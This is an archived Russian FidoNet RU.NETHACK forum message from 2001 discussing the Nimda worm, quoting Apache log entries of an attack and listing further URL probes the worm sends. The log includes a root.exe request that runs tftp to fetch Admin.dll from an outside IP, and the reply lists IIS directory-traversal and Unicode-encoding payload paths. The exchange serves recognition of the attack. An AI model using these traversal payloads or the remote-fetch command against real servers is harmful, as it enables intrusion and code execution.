|
ru.nethack
- RU.NETHACK -------------------------------------------------------------------
From : Anton Alabushev 2:465/162.34 19 Sep 2010 13:21:00
To : Fedor Kudryashev
Subject : Re: оказывается CodeRed - это цветочки
--------------------------------------------------------------------------------
Hello Fedor!
ю Quoting message from Fedor Kudryashev to All
ю [19 Sep 01 at 02:53]
FK> Сегодня(точнее вчера, 18.09.01) Апач весь день трещал что ему плохо и все
FK> такое. K вечеру я дополз до логов, а там просто до кучи строк до боли
FK> напоминающих строчки UnicodeBug. Хосты все разные, многие были замечены за
FK> рассылкой CodeRed`а.
новый червячок :) подробнее
http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html
FK> -=| Hачали кусать |=-
FK> GET /scripts/root.exe /c+dir 200 -
FK> GET /scripts/root.exe
FK> /c+tftp%20-i%20194.81.244.128%20GET%20Admin.dll%20Admin.dll 502 -
FK> GET /scripts/Admin.dll - 500 -
FK> -=| Kончили кусать |=-
FK> (даты и IPшники выкушены, остальное - в точности как в логе)
еще должно быть, что то вроде этого:
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
FK> А теперь, внимание, вопрос - давно эта хрень появилась?
утром 18.09
FK> А то я смотрю она быстрее CodeRed`а распространяется. Kороче вот.
угу. почему быстрее читай ссылку в начале письма
FK> Fedor
С уважением, Антон.
e-mail: snifer@tcc-online.com icq: 2517334
---
* Origin: Утро добрым не бывает ... (2:465/162.34)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
